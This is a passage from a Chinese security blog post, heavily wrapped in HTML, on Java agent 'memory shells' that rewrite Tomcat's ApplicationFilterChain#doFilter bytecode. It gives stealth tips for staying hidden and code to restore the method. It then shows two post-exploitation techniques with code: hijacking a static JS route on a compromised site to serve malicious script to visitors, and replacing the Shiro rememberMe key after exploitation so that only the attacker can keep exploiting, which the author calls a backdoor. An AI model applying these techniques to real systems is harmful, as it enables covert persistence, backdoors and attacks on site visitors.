red;">2.由于在Filter层过滤了http请求，访问任意的路由都可以执行恶意代码，为了隐蔽性不建议使用不存在的路由。</span></span><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><span style="color: red;">3.agent可以注入多个，但是相同类名的transformer只能注入一个，所以要再次注入别的agent的时候记得更改一下类名。</span></span><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><span style="color: red;">4.这种内存马一旦注入到目标程序中，除了重启没有办法直接卸载掉，因为修改掉了原本的类的字节码。</span></span></p><span style="box-sizing: border-box;margin: 10px;font-size: 16px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;text-indent: -20px;display: block;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><p style="text-align:left;box-sizing: border-box;margin: 10px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span md-inline="plain" style="box-sizing: border-box;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">    既然如此，那我再把它改回去不就得了嘛。这就是我为什么选择</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">doFilter</code></span><span md-inline="plain" style="box-sizing: border-box;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">方法的原因——逻辑简单，方便还原。它的逻辑只是调用了</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">internalDoFilter()</code></span><span md-inline="plain" style="box-sizing: border-box;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">方法（简单来说）。还原就只需要</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">setBody()</code></span><span md-inline="plain" style="box-sizing: border-box;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">即可：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer">// source.txt</span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    final javax.servlet.ServletRequest req = <span class="code-snippet__variable">$1</span>;</span></code><code><span class="code-snippet_outer">    final javax.servlet.ServletResponse res = <span class="code-snippet__variable">$2</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__variable">$0</span>.internalDoFilter(req,res);</span></code><code><span class="code-snippet_outer">}</span></code></pre></section></span></section></section></section></section><section data-tools="135编辑器" data-id="94987" data-color="#feecaf"><section style="text-align: center;margin:10px auto;"><section style="display: flex;justify-content: center;align-items: center;margin-left: -20px;"><section style="box-sizing:border-box;margin-right:-4em;margin-top: -12px;width:8em;"><section style="box-sizing:border-box;width:8em;"><br/></section></section></section></section></section><section data-role="paragraph"><p><br/></p></section><section data-tools="135编辑器" data-id="94987" data-color="#feecaf"><section style="text-align: center;margin:10px auto;"><section style="display: flex;justify-content: center;align-items: center;margin-left: -20px;"><section style="box-sizing:border-box;margin-right:-4em;margin-top: -12px;width:8em;"><section style="box-sizing:border-box;width:8em;"><img data-ratio="0.050955414012738856" style="box-sizing:border-box;width: 100%;display: block;" data-type="gif" data-w="157" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=7b13f097&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fe9yMd8aXlddqF1MKBSuEjUmG7IINppAgrgpwibEze0EsgMMdOpWoaBdZI80a6MhfuBlwWEDfT7ANKPX2rmd2Y5Q%2F640%3Fwx_fmt%3Dgif"/></section></section><section style="box-sizing: border-box;width: 2.5em;height: 5px;background: rgb(254, 236, 175);border-radius: 5px;margin-top: 8px;margin-left: -1.6em;color: rgb(172, 133, 2);overflow: hidden;"><br/></section><section style="display:inline-block;"><section data-brushtype="text" style="background: #feecaf;color: #ac8502;font-size: 16px;letter-spacing: 1.5px;padding: 10px 1.6em;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-ms-transform: rotate(0deg);-o-transform: rotate(0deg);"><strong><span style="font-size: 18px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">拓展</span></strong></section><section data-bgless="spin" data-bglessp="280" data-bgopacity="80%" style="box-sizing: border-box;width: 100%;background: rgba(254, 175, 220, 0.2);height: 40px;margin-top: -34px;margin-left: 6px;color: rgb(174, 0, 99);overflow: hidden;" data-width="100%"><br/></section></section><section style="box-sizing:border-box;margin-left:-4em;width:8em;margin-top: -12px;"><img data-ratio="0.0457516339869281" style="box-sizing:border-box;width: 100%;display: block;" data-type="gif" data-w="153" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=6841bcd7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fe9yMd8aXlddqF1MKBSuEjUmG7IINppAg55VpIrDfCkBIcRUe5wBwr0Czry9KBN1EWxA3ArHeMyoVXBFmPqQSQQ%2F640%3Fwx_fmt%3Dgif"/></section><section style="box-sizing: border-box;width: 2.2em;height: 5px;background: rgb(254, 236, 175);border-radius: 5px;margin-top: 8px;margin-left: -4em;color: rgb(172, 133, 2);overflow: hidden;"><br/></section></section></section></section><section data-role="paragraph" data-color="#feecaf"><p><br/></p></section><section data-tools="135编辑器" data-id="101364" data-color="#feecaf"><section style="margin: 10px auto;text-align: center;"><section style="display: flex;justify-content: center;align-items: center;"><section style="box-sizing:border-box;width: 45px;"><img data-ratio="0.8245614035087719" style="box-sizing:border-box;width: 100%;display: block;" data-type="gif" data-w="57" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=aae19b8d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fe9yMd8aXlddqF1MKBSuEjUmG7IINppAgGB0JU4O1432w99x0mpOSJPtyvaibibmEQkSMeYU8iaibgFGE0NppqYDycg%2F640%3Fwx_fmt%3Dgif"/></section></section><section style="background: #feecaf;padding: 4px;border-radius: 10px;margin-top: -20px;color: #ac8502;"><section data-autoskip="1" style="text-align: justify;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: #feecaf;background: #ffffff;padding: 2em 1em 1em;border-radius: 10px;"><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">当我们能够改变类的字节码，那能做的事情可多了去了，下面我提出两个例子，抛砖引玉。</span></p><section data-role="paragraph"><p><br/></p></section><section data-tools="135编辑器" data-id="97529" data-color="#feecaf"><section style="margin:10px auto;"><section style="display:flex;justify-content: center;align-items: center;"><section style="box-sizing:border-box;width:40px;margin-right:-20px;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-ms-transform: rotate(0deg);-o-transform: rotate(0deg);"><section style="box-sizing:border-box;width:40px;"><section data-bgless="spin" data-bglessp="30" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(233, 254, 175);margin-left: 6px;color: rgb(128, 174, 0);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="50" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(207, 254, 175);margin-top: 3px;margin-bottom: 3px;margin-left: 16px;color: rgb(71, 174, 0);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="70" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(180, 254, 175);color: rgb(11, 174, 0);overflow: hidden;"><br/></section></section></section><section style="display:inline-block;margin-top:6px;"><section style="border-width: 2px;border-style: dashed;border-color: rgb(254, 236, 175);background-color: rgb(254, 254, 254);padding: 6px 2em;box-sizing: border-box;"><section data-brushtype="text" style="font-size: 16px;text-align: center;color: rgb(51, 51, 51);"><strong><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">路由劫持</span></strong><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"></span></section></section><section style="box-sizing: border-box;width: 80%;height: 6px;margin-right: auto;margin-left: auto;background-color: rgb(254, 236, 175);border-bottom-left-radius: 20px;border-bottom-right-radius: 20px;color: rgb(172, 133, 2);overflow: hidden;" data-width="80%"><br/></section></section><section style="box-sizing:border-box;width:40px;transform: rotate(0deg);transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-ms-transform: rotate(0deg);-o-transform: rotate(0deg);"><section style="box-sizing:border-box;width:40px;"><section data-bgless="spin" data-bglessp="30" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(233, 254, 175);margin-left: -6px;color: rgb(128, 174, 0);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="50" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(207, 254, 175);margin-top: 3px;margin-bottom: 3px;margin-left: -16px;color: rgb(71, 174, 0);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="70" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(180, 254, 175);color: rgb(11, 174, 0);overflow: hidden;"><br/></section></section></section></section></section></section><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 19.2px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-size: 16px;caret-color: red;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">再来假设这么一个情况：拿下来了站点A，同时其他的资产暂时没有更大的收获，需要使用其他方法来扩展攻击面。在A的</span><code style="caret-color: red;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">/login</span></code><span style="font-size: 16px;caret-color: red;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">中使用了</span><code style="caret-color: red;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">/static/js/1.js</span></code><span style="font-size: 16px;caret-color: red;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">，那就可以劫持这个路由，回显给他恶意的js代码。</span><span style="font-size: 16px;caret-color: red;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><br/></span></h3><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">实现的话，只需要在</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">start.txt</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">也就是即将插入的代码块中，判断一下当前访问的路由。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer"><span class="code-snippet__built_in">String</span> uri = request.getRequestURI();</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">if</span> (uri.equals(<span class="code-snippet__string">&#34;/static/js/1.js&#34;</span>)) {</span></code><code><span class="code-snippet_outer">    response.getWriter().write([恶意js代码]);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span>;</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">那么当访问到</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">/login</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">的时候，浏览器发现引用了外部js——</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">/static/js/1.js</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">，就会去请求它，然而请求被我们修改后的</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">ApplicationFilterChain#doFilter()</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">拦截，返回了一个虚假的页面，导致资源被“替换”，恶意代码发挥作用。</span></p><p><br/></p><section data-tools="135编辑器" data-id="97529" data-color="#feecaf"><section style="margin:10px auto;"><section style="display:flex;justify-content: center;align-items: center;"><section style="box-sizing:border-box;width:40px;margin-right:-20px;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-ms-transform: rotate(0deg);-o-transform: rotate(0deg);"><section style="box-sizing:border-box;width:40px;"><section data-bgless="spin" data-bglessp="30" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(233, 254, 175);margin-left: 6px;color: rgb(128, 174, 0);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="50" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(207, 254, 175);margin-top: 3px;margin-bottom: 3px;margin-left: 16px;color: rgb(71, 174, 0);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="70" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(180, 254, 175);color: rgb(11, 174, 0);overflow: hidden;"><br/></section></section></section><section style="display:inline-block;margin-top:6px;"><section style="border-width: 2px;border-style: dashed;border-color: rgb(254, 236, 175);background-color: rgb(254, 254, 254);padding: 6px 2em;box-sizing: border-box;"><section data-brushtype="text" style="font-size: 16px;text-align: center;color: rgb(51, 51, 51);"><strong><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">替换shiro的key</span></strong><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"></span></section></section><section style="box-sizing: border-box;width: 80%;height: 6px;margin-right: auto;margin-left: auto;background-color: rgb(254, 236, 175);border-bottom-left-radius: 20px;border-bottom-right-radius: 20px;color: rgb(172, 133, 2);overflow: hidden;" data-width="80%"><br/></section></section><section style="box-sizing:border-box;width:40px;transform: rotate(0deg);transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-ms-transform: rotate(0deg);-o-transform: rotate(0deg);"><section style="box-sizing:border-box;width:40px;"><section data-bgless="spin" data-bglessp="30" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(233, 254, 175);margin-left: -6px;color: rgb(128, 174, 0);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="50" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(207, 254, 175);margin-top: 3px;margin-bottom: 3px;margin-left: -16px;color: rgb(71, 174, 0);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="70" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(180, 254, 175);color: rgb(11, 174, 0);overflow: hidden;"><br/></section></section></section></section></section></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"></span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"></span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">shiro的漏洞已经到了家喻户晓的地步，在实际的渗透中，看到shiro都会使用各种工具扫描一下。而后来shiro采用随机密钥之后，攻击难度就增加了。现在假设有这么一个情况：通过shiro反序列化得到了目标主机的权限，然后偷偷的改掉目标的key，那么这个漏洞就只有你能够攻击，某种意义上来说，帮人家修复了漏洞，也算是留了后门。</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">分析shiro反序列化漏洞的文章网上已经有很多了，这里就不再赘述，直接讲重点的地方。</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><strong style="box-sizing: border-box;color: rgb(172, 133, 2);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">在解析rememberMe的时候，先将其base64解码，然后使用AES解密，在AES解密的时候，会调用</strong><strong style="box-sizing: border-box;color: rgb(172, 133, 2);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><code style="box-sizing: border-box;padding: 3px 5px;line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">org.apache.shiro.mgt.AbstractRememberMeManager#getDecryptionCipherKey()</code></strong>，更改掉这个函数的返回值，就可以更改解密的密钥。实现也很简单，只需要改掉上面的常量和</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">start.txt</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">即可：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> final <span class="code-snippet__built_in">String</span> editClassName = <span class="code-snippet__string">&#34;org.apache.catalina.core.ApplicationFilterChain&#34;</span>;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> final <span class="code-snippet__built_in">String</span> editClassName2 = editClassName.replace(<span class="code-snippet__string">&#39;.&#39;</span>, <span class="code-snippet__string">&#39;/&#39;</span>);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> final <span class="code-snippet__built_in">String</span> editMethod = <span class="code-snippet__string">&#34;doFilter&#34;</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">// start.txt (使用insertBefore())</span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    $<span class="code-snippet__number">0.</span>setCipherKey(org.apache.shiro.codec.Base64.decode(<span class="code-snippet__string">&#34;4AvVhmFLUs0KTA3Kprsdag==&#34;</span>));</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">// start.txt (使用setBody())</span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> (org.apache.shiro.codec.Base64.decode(<span class="code-snippet__string">&#34;4AvVhmFLUs0KTA3Kprsdag==&#34;</span>));</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, 